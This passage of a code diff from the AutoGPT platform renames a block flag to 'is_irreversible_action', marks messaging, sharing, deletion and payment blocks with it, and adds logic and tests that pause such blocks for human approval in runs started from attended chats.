GithubCreatePRReviewBlock(Block):"https://github.com/owner/repo/pull/1#pullrequestreview-123456",)},+ is_irreversible_action=True,)@staticmethod@@ -426,6 +427,7 @@ class GithubSubmitPendingReviewBlock(Block):"https://github.com/owner/repo/pull/1#pullrequestreview-123456",)},+ is_irreversible_action=True,)@staticmethoddiff --git a/autogpt_platform/backend/backend/blocks/google/calendar.py b/autogpt_platform/backend/backend/blocks/google/calendar.pyindex b9fda2cf31..3b45c1a89a 100644--- a/autogpt_platform/backend/backend/blocks/google/calendar.py+++ b/autogpt_platform/backend/backend/blocks/google/calendar.py@@ -478,6 +478,7 @@ class GoogleCalendarCreateEventBlock(Block):"htmlLink": "https://calendar.google.com/calendar/event?eid=abc123",}},+ is_irreversible_action=True,)async def run(diff --git a/autogpt_platform/backend/backend/blocks/google/docs.py b/autogpt_platform/backend/backend/blocks/google/docs.pyindex 33aab4638d..42d5058d11 100644--- a/autogpt_platform/backend/backend/blocks/google/docs.py+++ b/autogpt_platform/backend/backend/blocks/google/docs.py@@ -1708,6 +1708,7 @@ class GoogleDocsShareBlock(Block):"share_link": "https://docs.google.com/document/d/1abc123def456/edit",},},+ is_irreversible_action=True,)async def run(@@ -1841,6 +1842,7 @@ class GoogleDocsSetPublicAccessBlock(Block):"share_link": "https://docs.google.com/document/d/1abc123def456/edit?usp=sharing",},},+ is_irreversible_action=True,)async def run(diff --git a/autogpt_platform/backend/backend/blocks/google/gmail.py b/autogpt_platform/backend/backend/blocks/google/gmail.pyindex f183cf2864..5d947da86f 100644--- a/autogpt_platform/backend/backend/blocks/google/gmail.py+++ b/autogpt_platform/backend/backend/blocks/google/gmail.py@@ -622,6 +622,7 @@ class GmailSendBlock(GmailBase):test_mock={"_send_email": lambda *args, **kwargs: {"id": "1", "status": "sent"},},+ is_irreversible_action=True,)async def run(@@ -1349,6 +1350,7 @@ class GmailReplyBlock(GmailBase):"threadId": "t1",}},+ is_irreversible_action=True,)async def run(@@ -1663,6 +1665,7 @@ class GmailForwardBlock(GmailBase):"threadId": "t1",},},+ is_irreversible_action=True,)async def run(diff --git a/autogpt_platform/backend/backend/blocks/google/sheets.py b/autogpt_platform/backend/backend/blocks/google/sheets.pyindex 6e21008a23..69d0aa1f04 100644--- a/autogpt_platform/backend/backend/blocks/google/sheets.py+++ b/autogpt_platform/backend/backend/blocks/google/sheets.py@@ -6320,6 +6320,7 @@ class GoogleSheetsShareSpreadsheetBlock(Block):"share_link": "https://docs.google.com/spreadsheets/d/1BxiMVs0XRA5nFMdKvBdBZjgmUUqptlbs74OgvE2upms/edit",},},+ is_irreversible_action=True,)async def run(@@ -6466,6 +6467,7 @@ class GoogleSheetsSetPublicAccessBlock(Block):"share_link": "https://docs.google.com/spreadsheets/d/1BxiMVs0XRA5nFMdKvBdBZjgmUUqptlbs74OgvE2upms/edit?usp=sharing",},},+ is_irreversible_action=True,)async def run(diff --git a/autogpt_platform/backend/backend/blocks/hubspot/engagement.py b/autogpt_platform/backend/backend/blocks/hubspot/engagement.pyindex 9408a543b6..e3ef2185b3 100644--- a/autogpt_platform/backend/backend/blocks/hubspot/engagement.py+++ b/autogpt_platform/backend/backend/blocks/hubspot/engagement.py@@ -46,6 +46,7 @@ class HubSpotEngagementBlock(Block):categories={BlockCategory.CRM, BlockCategory.COMMUNICATION},input_schema=HubSpotEngagementBlock.Input,output_schema=HubSpotEngagementBlock.Output,+ is_irreversible_action=True,)async def run(diff --git a/autogpt_platform/backend/backend/blocks/medium.py b/autogpt_platform/backend/backend/blocks/medium.pyindex f511f19329..38a9e01d87 100644--- a/autogpt_platform/backend/backend/blocks/medium.py+++ b/autogpt_platform/backend/backend/blocks/medium.py@@ -134,6 +134,7 @@ class PublishToMediumBlock(Block):}},test_credentials=TEST_CREDENTIALS,+ is_irreversible_action=True,)async def create_post(diff --git a/autogpt_platform/backend/backend/blocks/reddit.py b/autogpt_platform/backend/backend/blocks/reddit.pyindex c4d745ae1e..d3693a0a81 100644--- a/autogpt_platform/backend/backend/blocks/reddit.py+++ b/autogpt_platform/backend/backend/blocks/reddit.py@@ -324,6 +324,7 @@ class PostRedditCommentBlock(Block):test_mock={"reply_post": lambda creds, post_id, comment: "dummy_comment_id"},+ is_irreversible_action=True,)@staticmethod@@ -409,6 +410,7 @@ class CreateRedditPostBlock(Block):"https://reddit.com/r/test/comments/abc123/test_post/",)},+ is_irreversible_action=True,)@staticmethod@@ -1791,6 +1793,7 @@ class ReplyToRedditCommentBlock(Block):test_mock={"reply_to_comment": lambda creds, comment_id, reply_text: "new_reply_id"},+ is_irreversible_action=True,)@staticmethod@@ -2035,6 +2038,7 @@ class SendRedditMessageBlock(Block):("username", "testuser"),],test_mock={"send_message": lambda creds, username, subject, message: True},+ is_irreversible_action=True,)@staticmethod@@ -2262,7 +2266,7 @@ class DeleteRedditPostBlock(Block):("post_id", "abc123"),],test_mock={"delete_post": lambda creds, post_id: True},- is_sensitive_action=True,+ is_irreversible_action=True,)@staticmethod@@ -2321,7 +2325,7 @@ class DeleteRedditCommentBlock(Block):("comment_id", "xyz789"),],test_mock={"delete_comment": lambda creds, comment_id: True},- is_sensitive_action=True,+ is_irreversible_action=True,)@staticmethoddiff --git a/autogpt_platform/backend/backend/blocks/reddit_moderation.py b/autogpt_platform/backend/backend/blocks/reddit_moderation.pyindex 7866746bbc..4bb6352b7f 100644--- a/autogpt_platform/backend/backend/blocks/reddit_moderation.py+++ b/autogpt_platform/backend/backend/blocks/reddit_moderation.py@@ -255,7 +255,7 @@ class RemoveRedditPostBlock(Block):("success", True),],test_mock={"remove_post": lambda creds, post_id, spam, mod_note: True},- is_sensitive_action=True,+ is_irreversible_action=True,)@staticmethod@@ -316,7 +316,7 @@ class ApproveRedditPostBlock(Block):("success", True),],test_mock={"approve_post": lambda creds, post_id: True},- is_sensitive_action=True,+ is_irreversible_action=True,)@staticmethod@@ -369,7 +369,7 @@ class LockRedditPostBlock(Block):("locked", True),],test_mock={"set_lock": lambda creds, post_id, lock: lock},- is_sensitive_action=True,+ is_irreversible_action=True,)@staticmethod@@ -461,7 +461,7 @@ class BanSubredditUserBlock(Block):test_mock={"ban_user": lambda creds, subreddit, username, duration, reason, mod_note, ban_message: True},- is_sensitive_action=True,+ is_irreversible_action=True,)@staticmethod@@ -541,7 +541,7 @@ class UnbanSubredditUserBlock(Block):("success", True),],test_mock={"unban_user": lambda creds, subreddit, username: True},- is_sensitive_action=True,+ is_irreversible_action=True,)@staticmethod@@ -613,7 +613,7 @@ class SendModMailBlock(Block):test_mock={"send_modmail": lambda creds, subreddit, to_username, subject, body: "mock_conv_id"},- is_sensitive_action=True,+ is_irreversible_action=True,)@staticmethoddiff --git a/autogpt_platform/backend/backend/blocks/rmfg/blocks_test.py b/autogpt_platform/backend/backend/blocks/rmfg/blocks_test.pyindex 2624c4aab1..ad3f7b2712 100644--- a/autogpt_platform/backend/backend/blocks/rmfg/blocks_test.py+++ b/autogpt_platform/backend/backend/blocks/rmfg/blocks_test.py@@ -225,8 +225,8 @@ class TestUpdateCartBlock:class TestPayCartBlock:- def test_is_a_sensitive_action(self):- assert RMFGPayCartBlock().is_sensitive_action is True+ def test_is_an_irreversible_action(self):+ assert RMFGPayCartBlock().is_irreversible_action is Trueasync def test_uses_node_exec_id_as_idempotency_key(self, monkeypatch: pytest.MonkeyPatchdiff --git a/autogpt_platform/backend/backend/blocks/rmfg/pay_cart.py b/autogpt_platform/backend/backend/blocks/rmfg/pay_cart.pyindex 11a7ff743c..bfa2155fc9 100644--- a/autogpt_platform/backend/backend/blocks/rmfg/pay_cart.py+++ b/autogpt_platform/backend/backend/blocks/rmfg/pay_cart.py@@ -75,7 +75,7 @@ class RMFGPayCartBlock(Block):categories=CATEGORIES,input_schema=RMFGPayCartBlock.Input,output_schema=RMFGPayCartBlock.Output,- is_sensitive_action=True,+ is_irreversible_action=True,test_input={"cart_id": TEST_CART.id, "credentials": TEST_CREDENTIALS_INPUT},test_credentials=TEST_CREDENTIALS,test_output=[diff --git a/autogpt_platform/backend/backend/blocks/slack/blocks.py b/autogpt_platform/backend/backend/blocks/slack/blocks.pyindex 045635c95a..fb728d8ee1 100644--- a/autogpt_platform/backend/backend/blocks/slack/blocks.py+++ b/autogpt_platform/backend/backend/blocks/slack/blocks.py@@ -85,21 +85,22 @@ class SendSlackMessageBlock(Block):input_schema=SendSlackMessageBlock.Input,output_schema=SendSlackMessageBlock.Output,test_input={- "channel": "C1234567890",+ "channel": "C1234567890", # pragma: allowlist secret"text": "Hello from AutoGPT!","credentials": TEST_CREDENTIALS_INPUT,},test_credentials=TEST_CREDENTIALS,test_output=[("ts", "1234567890.123456"),- ("channel", "C1234567890"),+ ("channel", "C1234567890"), # pragma: allowlist secret],test_mock={"_post_message": lambda *args, **kwargs: SlackMessageResult(ts="1234567890.123456",- channel="C1234567890",+ channel="C1234567890", # pragma: allowlist secret)},+ is_irreversible_action=True,)async def run(diff --git a/autogpt_platform/backend/backend/blocks/slant3d/api_test.py b/autogpt_platform/backend/backend/blocks/slant3d/api_test.pyindex 9436004521..56365f7aba 100644--- a/autogpt_platform/backend/backend/blocks/slant3d/api_test.py+++ b/autogpt_platform/backend/backend/blocks/slant3d/api_test.py@@ -137,7 +137,7 @@ async def test_create_drafts_then_processes_order():("POST", "orders"),("POST", "orders/SLANT_123"),]- assert block.is_sensitive_action+ assert block.is_irreversible_action@pytest.mark.parametrize(diff --git a/autogpt_platform/backend/backend/blocks/slant3d/order.py b/autogpt_platform/backend/backend/blocks/slant3d/order.pyindex 709a4e4927..1d7bcdb507 100644--- a/autogpt_platform/backend/backend/blocks/slant3d/order.py+++ b/autogpt_platform/backend/backend/blocks/slant3d/order.py@@ -34,7 +34,7 @@ class Slant3DCreateOrderBlock(Slant3DBlockBase):"data": {"publicId": "SLANT_1234567890"}},},- is_sensitive_action=True,+ is_irreversible_action=True,)async def run(diff --git a/autogpt_platform/backend/backend/blocks/slant3d/order_status.py b/autogpt_platform/backend/backend/blocks/slant3d/order_status.pyindex c246eaa178..ce51b8b4ae 100644--- a/autogpt_platform/backend/backend/blocks/slant3d/order_status.py+++ b/autogpt_platform/backend/backend/blocks/slant3d/order_status.py@@ -135,6 +135,7 @@ class Slant3DCancelOrderBlock(Slant3DBlockBase):"message": "Order cancelled",}},+ is_irreversible_action=True,)async def run(@@ -179,7 +180,7 @@ class Slant3DProcessOrderBlock(Slant3DBlockBase):"data": {"publicId": "SLANT_1234567890"}}},- is_sensitive_action=True,+ is_irreversible_action=True,)async def run(diff --git a/autogpt_platform/backend/backend/blocks/slant3d/slant3d_blocks_test.py b/autogpt_platform/backend/backend/blocks/slant3d/slant3d_blocks_test.pyindex 883def0cb1..500f1a7bec 100644--- a/autogpt_platform/backend/backend/blocks/slant3d/slant3d_blocks_test.py+++ b/autogpt_platform/backend/backend/blocks/slant3d/slant3d_blocks_test.py@@ -273,7 +273,7 @@ async def test_process_existing_draft_is_sensitive_and_does_not_create_another()"POST", "orders/SLANT_123", TEST_CREDENTIALS.api_key.get_secret_value())assert result == {"order_id": "SLANT_123"}- assert block.is_sensitive_action+ assert block.is_irreversible_action@pytest.mark.parametrize("use_existing", [True, False])diff --git a/autogpt_platform/backend/backend/blocks/smartlead/campaign.py b/autogpt_platform/backend/backend/blocks/smartlead/campaign.pyindex ce900a2d09..5ce8307e79 100644--- a/autogpt_platform/backend/backend/blocks/smartlead/campaign.py+++ b/autogpt_platform/backend/backend/blocks/smartlead/campaign.py@@ -196,6 +196,7 @@ class AddLeadToCampaignBlock(Block):bounce_count=0,)},+ is_irreversible_action=True,)@staticmethoddiff --git a/autogpt_platform/backend/backend/blocks/stripe_link/mpp.py b/autogpt_platform/backend/backend/blocks/stripe_link/mpp.pyindex b6a50d865c..8c1408fd05 100644--- a/autogpt_platform/backend/backend/blocks/stripe_link/mpp.py+++ b/autogpt_platform/backend/backend/blocks/stripe_link/mpp.py@@ -380,6 +380,7 @@ class StripeLinkMPPPayBlock(Block):},"_pay_with_token": lambda *args, **kwargs: (200, {"ok": True}, True),},+ is_irreversible_action=True,)async def run(diff --git a/autogpt_platform/backend/backend/blocks/telegram/blocks.py b/autogpt_platform/backend/backend/blocks/telegram/blocks.pyindex 08155ede46..d66d9e3764 100644--- a/autogpt_platform/backend/backend/blocks/telegram/blocks.py+++ b/autogpt_platform/backend/backend/blocks/telegram/blocks.py@@ -100,6 +100,7 @@ class SendTelegramMessageBlock(Block):message_id=123,)},+ is_irreversible_action=True,)async def run(@@ -194,6 +195,7 @@ class SendTelegramPhotoBlock(Block):message_id=123)},+ is_irreversible_action=True,)async def run(@@ -352,6 +354,7 @@ class SendTelegramVoiceBlock(Block):message_id=123)},+ is_irreversible_action=True,)async def run(@@ -496,6 +499,7 @@ class ReplyToTelegramMessageBlock(Block):message_id=123)},+ is_irreversible_action=True,)async def run(@@ -640,6 +644,7 @@ class DeleteTelegramMessageBlock(Block):("status", "Message deleted"),],test_mock={"_delete_message": lambda *args, **kwargs: True},+ is_irreversible_action=True,)async def run(@@ -813,6 +818,7 @@ class SendTelegramAudioBlock(Block):message_id=123)},+ is_irreversible_action=True,)async def run(@@ -987,6 +993,7 @@ class SendTelegramDocumentBlock(Block):message_id=123)},+ is_irreversible_action=True,)async def run(@@ -1146,6 +1153,7 @@ class SendTelegramVideoBlock(Block):message_id=123)},+ is_irreversible_action=True,)async def run(diff --git a/autogpt_platform/backend/backend/blocks/test/test_block.py b/autogpt_platform/backend/backend/blocks/test/test_block.pyindex 3ed39c846e..326efb63e9 100644--- a/autogpt_platform/backend/backend/blocks/test/test_block.py+++ b/autogpt_platform/backend/backend/blocks/test/test_block.py@@ -49,8 +49,8 @@ async def test_available_blocks(block: Type[Block]):@pytest.mark.parametrize("block", get_blocks().values(), ids=lambda b: b().name)-def test_sensitive_action_blocks_have_no_data_input(block: Type[Block]):- """A sensitive-action block's whole input dict becomes the review payload.+def test_irreversible_action_blocks_have_no_data_input(block: Type[Block]):+ """An irreversible-action block's whole input dict becomes the review payload.`data` is the key the approval card historically unwrapped to, renderingthat one field in place of the arguments the block goes on to execute.@@ -59,11 +59,11 @@ def test_sensitive_action_blocks_have_no_data_input(block: Type[Block]):delete this case once the render path is re-checked."""block_instance = block()- if not block_instance.is_sensitive_action:+ if not block_instance.is_irreversible_action:returnassert "data" not in block_instance.input_schema.model_fields, (- f"{block_instance.name} is a sensitive action with a top-level 'data' "+ f"{block_instance.name} is an irreversible action with a top-level 'data' "f"input; rename it so the approval card cannot be read as showing only "f"that field.")diff --git a/autogpt_platform/backend/backend/blocks/test/test_reddit_moderation.py b/autogpt_platform/backend/backend/blocks/test/test_reddit_moderation.pyindex 8a3341efe2..f4e323baa3 100644--- a/autogpt_platform/backend/backend/blocks/test/test_reddit_moderation.py+++ b/autogpt_platform/backend/backend/blocks/test/test_reddit_moderation.py@@ -560,7 +560,7 @@ def test_moderator_free_text_inputs_are_length_bounded():# The human-in-the-loop gate for automated moderation. `data/graph.py` reads-# `block.is_sensitive_action` to decide whether a run needs approval, so a block+# `block.is_irreversible_action` to decide whether a run needs approval, so a block# silently losing the flag would start banning and removing without a prompt.# Nothing else in the suite pins it.@pytest.mark.parametrize(@@ -577,7 +577,7 @@ def test_moderator_free_text_inputs_are_length_bounded():],)def test_state_changing_moderation_blocks_are_gated(block_cls, is_sensitive):- assert block_cls().is_sensitive_action is is_sensitive+ assert block_cls().is_irreversible_action is is_sensitive@pytest.mark.asynciodiff --git a/autogpt_platform/backend/backend/blocks/todoist/comments.py b/autogpt_platform/backend/backend/blocks/todoist/comments.pyindex dc8eef3919..3f78342b1b 100644--- a/autogpt_platform/backend/backend/blocks/todoist/comments.py+++ b/autogpt_platform/backend/backend/blocks/todoist/comments.py@@ -416,6 +416,7 @@ class TodoistDeleteCommentBlock(Block):test_credentials=TEST_CREDENTIALS,test_output=[("success", True)],test_mock={"delete_comment": lambda credentials, comment_id: True},+ is_irreversible_action=True,)@staticmethoddiff --git a/autogpt_platform/backend/backend/blocks/todoist/labels.py b/autogpt_platform/backend/backend/blocks/todoist/labels.pyindex 0b0f26cc77..78c209a858 100644--- a/autogpt_platform/backend/backend/blocks/todoist/labels.py+++ b/autogpt_platform/backend/backend/blocks/todoist/labels.py@@ -377,6 +377,7 @@ class TodoistDeleteLabelBlock(Block):test_credentials=TEST_CREDENTIALS,test_output=[("success", True)],test_mock={"delete_label": lambda *args, **kwargs: True},+ is_irreversible_action=True,)@staticmethod@@ -536,6 +537,7 @@ class TodoistRemoveSharedLabelsBlock(Block):test_credentials=TEST_CREDENTIALS,test_output=[("success", True)],test_mock={"remove_shared_label": lambda *args, **kwargs: True},+ is_irreversible_action=True,)@staticmethoddiff --git a/autogpt_platform/backend/backend/blocks/todoist/projects.py b/autogpt_platform/backend/backend/blocks/todoist/projects.pyindex a35bd3d41e..1d9c7f135d 100644--- a/autogpt_platform/backend/backend/blocks/todoist/projects.py+++ b/autogpt_platform/backend/backend/blocks/todoist/projects.py@@ -427,6 +427,7 @@ class TodoistDeleteProjectBlock(Block):test_credentials=TEST_CREDENTIALS,test_output=[("success", True)],test_mock={"delete_project": lambda *args, **kwargs: (True)},+ is_irreversible_action=True,)@staticmethoddiff --git a/autogpt_platform/backend/backend/blocks/todoist/sections.py b/autogpt_platform/backend/backend/blocks/todoist/sections.pyindex 23cabdb661..c8f75063ed 100644--- a/autogpt_platform/backend/backend/blocks/todoist/sections.py+++ b/autogpt_platform/backend/backend/blocks/todoist/sections.py@@ -286,6 +286,7 @@ class TodoistDeleteSectionBlock(Block):test_credentials=TEST_CREDENTIALS,test_output=[("success", True)],test_mock={"delete_section": lambda *args, **kwargs: (True)},+ is_irreversible_action=True,)@staticmethoddiff --git a/autogpt_platform/backend/backend/blocks/todoist/tasks.py b/autogpt_platform/backend/backend/blocks/todoist/tasks.pyindex 6aaf766114..e6438d01cc 100644--- a/autogpt_platform/backend/backend/blocks/todoist/tasks.py+++ b/autogpt_platform/backend/backend/blocks/todoist/tasks.py@@ -633,6 +633,7 @@ class TodoistDeleteTaskBlock(Block):("success", True),],test_mock={"delete_task": lambda *args, **kwargs: (True)},+ is_irreversible_action=True,)@staticmethoddiff --git a/autogpt_platform/backend/backend/blocks/twitter/lists/manage_lists.py b/autogpt_platform/backend/backend/blocks/twitter/lists/manage_lists.pyindex 9bab05e98b..9b973a835d 100644--- a/autogpt_platform/backend/backend/blocks/twitter/lists/manage_lists.py+++ b/autogpt_platform/backend/backend/blocks/twitter/lists/manage_lists.py@@ -52,6 +52,7 @@ class TwitterDeleteListBlock(Block):test_credentials=TEST_CREDENTIALS,test_output=[("success", True)],test_mock={"delete_list": lambda *args, **kwargs: True},+ is_irreversible_action=True,)@staticmethoddiff --git a/autogpt_platform/backend/backend/blocks/twitter/tweets/manage.py b/autogpt_platform/backend/backend/blocks/twitter/tweets/manage.pyindex 68e379b895..ef213714a5 100644--- a/autogpt_platform/backend/backend/blocks/twitter/tweets/manage.py+++ b/autogpt_platform/backend/backend/blocks/twitter/tweets/manage.py@@ -161,6 +161,7 @@ class TwitterPostTweetBlock(Block):"https://twitter.com/user/status/1234567890",)},+ is_irreversible_action=True,)def post_tweet(@@ -279,6 +280,7 @@ class TwitterDeleteTweetBlock(Block):test_credentials=TEST_CREDENTIALS,test_output=[("success", True)],test_mock={"delete_tweet": lambda *args, **kwargs: True},+ is_irreversible_action=True,)@staticmethoddiff --git a/autogpt_platform/backend/backend/blocks/twitter/tweets/retweet.py b/autogpt_platform/backend/backend/blocks/twitter/tweets/retweet.pyindex 606e3b8a74..c008118cbb 100644--- a/autogpt_platform/backend/backend/blocks/twitter/tweets/retweet.py+++ b/autogpt_platform/backend/backend/blocks/twitter/tweets/retweet.py@@ -68,6 +68,7 @@ class TwitterRetweetBlock(Block):("success", True),],test_mock={"retweet": lambda *args, **kwargs: True},+ is_irreversible_action=True,)@staticmethoddiff --git a/autogpt_platform/backend/backend/blocks/wordpress/blog.py b/autogpt_platform/backend/backend/blocks/wordpress/blog.pyindex 22b691480b..1eaaa93608 100644--- a/autogpt_platform/backend/backend/blocks/wordpress/blog.py+++ b/autogpt_platform/backend/backend/blocks/wordpress/blog.py@@ -78,6 +78,7 @@ class WordPressCreatePostBlock(Block):categories={BlockCategory.SOCIAL},input_schema=self.Input,output_schema=self.Output,+ is_irreversible_action=True,)async def run(diff --git a/autogpt_platform/backend/backend/copilot/capabilities/sources/blocks.py b/autogpt_platform/backend/backend/copilot/capabilities/sources/blocks.pyindex a9e3b6bee2..e574ef9d8e 100644--- a/autogpt_platform/backend/backend/copilot/capabilities/sources/blocks.py+++ b/autogpt_platform/backend/backend/copilot/capabilities/sources/blocks.py@@ -89,7 +89,7 @@ def _block_entry(block: AnyBlockSchema) -> CapabilityEntry:if field not in credential_infos],schema_ref=f"block:{block.id}",- sensitive=block.is_sensitive_action,+ sensitive=block.is_irreversible_action,)diff --git a/autogpt_platform/backend/backend/copilot/model.py b/autogpt_platform/backend/backend/copilot/model.pyindex 3ed325fa8b..1f81496dab 100644--- a/autogpt_platform/backend/backend/copilot/model.py+++ b/autogpt_platform/backend/backend/copilot/model.py@@ -156,6 +156,12 @@ class ChatSessionMetadata(BaseModel):# session, latest wins.pending_question: PendingQuestion | None = None+ @property+ def pauses_irreversible_actions(self) -> bool:+ """Whether a workflow this chat starts pauses before irreversible blocks."""+ # A legacy row cannot prove nobody is watching, so it pauses too.+ return self.origin != "automation"+def child_session_origin(parent: ChatSessionMetadata) -> ChatSessionOrigin:"""Origin for a fresh session a tool opens on *parent*'s behalf.diff --git a/autogpt_platform/backend/backend/copilot/tools/run_agent.py b/autogpt_platform/backend/backend/copilot/tools/run_agent.pyindex 372dd44b65..3ca37b7407 100644--- a/autogpt_platform/backend/backend/copilot/tools/run_agent.py+++ b/autogpt_platform/backend/backend/copilot/tools/run_agent.py@@ -974,6 +974,9 @@ class RunAgentTool(BaseTool):expert_id=session.expert_id,trigger=ExecutionTrigger.COPILOT,trigger_ref=session_id,+ pause_irreversible_actions=(+ not dry_run and session.metadata.pauses_irreversible_actions+ ),)except GraphValidationError as e:return await self._handle_graph_validation_race(diff --git a/autogpt_platform/backend/backend/copilot/tools/run_agent_test.py b/autogpt_platform/backend/backend/copilot/tools/run_agent_test.pyindex 11e3c06222..80a1af095d 100644--- a/autogpt_platform/backend/backend/copilot/tools/run_agent_test.py+++ b/autogpt_platform/backend/backend/copilot/tools/run_agent_test.py@@ -1235,6 +1235,55 @@ async def test_run_agent_attributes_execution_to_session_org(mocker, expert_id):default_team.assert_not_called()[email protected](loop_scope="session")+ "origin, dry_run, expected",+ [+ ("interactive", False, True),+ (None, False, True),+ ("automation", False, False),+ ("interactive", True, False),+ ],+)+async def test_run_agent_pauses_irreversible_actions_for_attended_chats(+ mocker, origin, dry_run, expected+):+ from backend.copilot.model import ChatSessionMetadata++ tool = RunAgentTool()+ session = make_session(user_id="user-1")+ session.metadata = ChatSessionMetadata(origin=origin)+ session.organization_id = "org-1"++ lib = MagicMock(graph_id="graph-1", graph_version=1, id="lib-1")+ lib.name = "Test Agent"+ mocker.patch(+ "backend.copilot.tools.run_agent.get_or_create_library_agent",+ AsyncMock(return_value=lib),+ )+ mocker.patch("backend.copilot.tools.run_agent.track_agent_run_success")+ mocker.patch(+ "backend.copilot.tools.run_agent._safe_link_to_chat_share", AsyncMock()+ )+ add = mocker.patch(+ "backend.copilot.tools.run_agent.execution_utils.add_graph_execution",+ AsyncMock(return_value=MagicMock(id="exec-1")),+ )+ graph = MagicMock(id="graph-1", version=1)+ graph.name = "Test Agent"++ await tool._run_agent(+ user_id="user-1",+ session=session,+ graph=graph,+ graph_credentials={},+ inputs={},+ dry_run=dry_run,+ )++ assert add.await_args.kwargs["pause_irreversible_actions"] is expected++@pytest.mark.asyncio(loop_scope="session")async def test_run_agent_falls_back_to_default_team_for_tenantless_session(mocker):"""Sessions created before org tagging carry no org — the run must falldiff --git a/autogpt_platform/backend/backend/copilot/tools/run_block_test.py b/autogpt_platform/backend/backend/copilot/tools/run_block_test.pyindex 08852c221a..7a49b82ea6 100644--- a/autogpt_platform/backend/backend/copilot/tools/run_block_test.py+++ b/autogpt_platform/backend/backend/copilot/tools/run_block_test.py@@ -30,7 +30,7 @@ def make_mock_block(mock.name = namemock.block_type = block_typemock.disabled = disabled- mock.is_sensitive_action = False+ mock.is_irreversible_action = Falsemock.input_schema = MagicMock()mock.input_schema.jsonschema.return_value = {"properties": {}, "required": []}mock.input_schema.get_credentials_fields_info.return_value = {}@@ -56,7 +56,7 @@ def make_mock_block_with_schema(mock.name = namemock.block_type = BlockType.STANDARDmock.disabled = False- mock.is_sensitive_action = False+ mock.is_irreversible_action = Falsemock.description = f"Test block: {name}"input_schema = {@@ -806,7 +806,7 @@ class TestRunBlockSensitiveAction:},required_fields=["repo_url", "branch"],)- mock_block.is_sensitive_action = True+ mock_block.is_irreversible_action = Truemock_block.is_block_exec_need_review = AsyncMock(return_value=(True, input_data))@@ -853,7 +853,7 @@ class TestRunBlockSensitiveAction:},required_fields=["repo_url", "branch"],)- mock_block.is_sensitive_action = True+ mock_block.is_irreversible_action = Truemock_block.is_block_exec_need_review = AsyncMock(return_value=(False, input_data))@@ -908,7 +908,7 @@ class TestRunBlockSensitiveAction:},required_fields=["url"],)- mock_block.is_sensitive_action = False+ mock_block.is_irreversible_action = Falsemock_block.is_block_exec_need_review = AsyncMock(return_value=(False, input_data))diff --git a/autogpt_platform/backend/backend/data/graph.py b/autogpt_platform/backend/backend/data/graph.pyindex d496490747..a58be9d91a 100644--- a/autogpt_platform/backend/backend/data/graph.py+++ b/autogpt_platform/backend/backend/data/graph.py@@ -258,7 +258,7 @@ class BaseGraph(GraphBaseMeta):@propertydef has_sensitive_action(self) -> bool:return any(- node.block_id for node in self.nodes if node.block.is_sensitive_action+ node.block_id for node in self.nodes if node.block.is_irreversible_action)@propertydiff --git a/autogpt_platform/backend/backend/executor/utils.py b/autogpt_platform/backend/backend/executor/utils.pyindex fa4367ab0f..ce7768dddf 100644--- a/autogpt_platform/backend/backend/executor/utils.py+++ b/autogpt_platform/backend/backend/executor/utils.py@@ -27,6 +27,7 @@ from backend.data.block_cost_config import BLOCK_COSTS, compute_token_creditsfrom backend.data.block_preflight_estimates import get_preflight_estimatefrom backend.data.credit import UsageTransactionMetadata, get_user_credit_modelfrom backend.data.db import prisma+from backend.data.db_accessors import chat_dbfrom backend.data.db_accessors import experts_db as get_experts_dbfrom backend.data.db_accessors import spend_approval_dbfrom backend.data.dynamic_fields import merge_execution_input@@ -1254,6 +1255,7 @@ async def add_graph_execution(bypass_paywall: bool = False,trigger: ExecutionTrigger = ExecutionTrigger.MANUAL,trigger_ref: Optional[str] = None,+ pause_irreversible_actions: bool = False,) -> GraphExecutionWithNodes:"""Add a graph execution to the queue, recording the outcome.@@ -1282,6 +1284,7 @@ async def add_graph_execution(bypass_paywall=bypass_paywall,trigger=trigger,trigger_ref=trigger_ref,+ pause_irreversible_actions=pause_irreversible_actions,)except GraphValidationError:record_graph_execution(@@ -1317,6 +1320,7 @@ async def _add_graph_execution(bypass_paywall: bool = False,trigger: ExecutionTrigger = ExecutionTrigger.MANUAL,trigger_ref: Optional[str] = None,+ pause_irreversible_actions: bool = False,) -> GraphExecutionWithNodes:"""Adds a graph execution to the queue and returns the execution entry.@@ -1348,6 +1352,9 @@ async def _add_graph_execution(in REQUEUE mode, where the original row is authoritative.trigger_ref: Identifier of what started the run for that trigger(schedule id, webhook id, chat session id, API key id, UI surface).+ pause_irreversible_actions: Pause before every irreversible block+ whatever the graph's ``sensitive_action_safe_mode`` setting. On+ resume it is re-derived from the chat that started the run.Returns:GraphExecutionWithNodes: The execution entry.Raises:@@ -1407,6 +1414,13 @@ async def _add_graph_execution(if not graph_exec:raise NotFoundError(f"Graph execution #{graph_exec_id} not found.")+ # A resume rebuilds its context from the graph settings, which would+ # drop the pause the chat that started this run asked for.+ pause_irreversible_actions = (+ pause_irreversible_actions+ or await _started_from_attended_chat(graph_exec, user_id, edb)+ )+# The persisted row is authoritative on resume. A caller cannot turn# an Otto run into an expert run or swap one expert for another.if expert_id is not None and expert_id != graph_exec.expert_id:@@ -1643,6 +1657,11 @@ async def _add_graph_execution(})+ if pause_irreversible_actions:+ execution_context = execution_context.model_copy(+ update={"sensitive_action_safe_mode": True}+ )+try:graph_exec_entry = graph_exec.to_graph_execution_entry(compiled_nodes_input_masks=compiled_nodes_input_masks,@@ -1737,6 +1756,30 @@ async def _add_graph_execution(return graph_exec+async def _started_from_attended_chat(+ graph_exec: GraphExecutionMeta, user_id: str, edb+) -> bool:+ # A sub-graph run follows its parent run's chat. A parent or chat that is+ # gone cannot prove nobody is watching, so the run pauses.+ while (+ graph_exec.trigger_source == ExecutionTrigger.SUBGRAPH+ and graph_exec.trigger_ref+ ):+ parent = await edb.get_graph_execution_meta(+ user_id=user_id, execution_id=graph_exec.trigger_ref+ )+ if parent is None:+ return True+ graph_exec = parent+ if (+ graph_exec.trigger_source != ExecutionTrigger.COPILOT+ or not graph_exec.trigger_ref+ ):+ return False+ session = await chat_db().get_chat_session_metadata(graph_exec.trigger_ref)+ return session is None or session.metadata.pauses_irreversible_actions++async def _spend_approval_required(user_id: str, expert_id: str):return await spend_approval_db().spend_approval_required(user_id, expert_id)diff --git a/autogpt_platform/backend/backend/executor/utils_test.py b/autogpt_platform/backend/backend/executor/utils_test.pyindex a26c6cf4d7..06eccafe89 100644--- a/autogpt_platform/backend/backend/executor/utils_test.py+++ b/autogpt_platform/backend/backend/executor/utils_test.py@@ -955,6 +955,7 @@ async def test_add_graph_execution_resume_backfills_org_from_row(mocker: MockerFmock_graph_exec.graph_version = 1mock_graph_exec.nodes_input_masks = 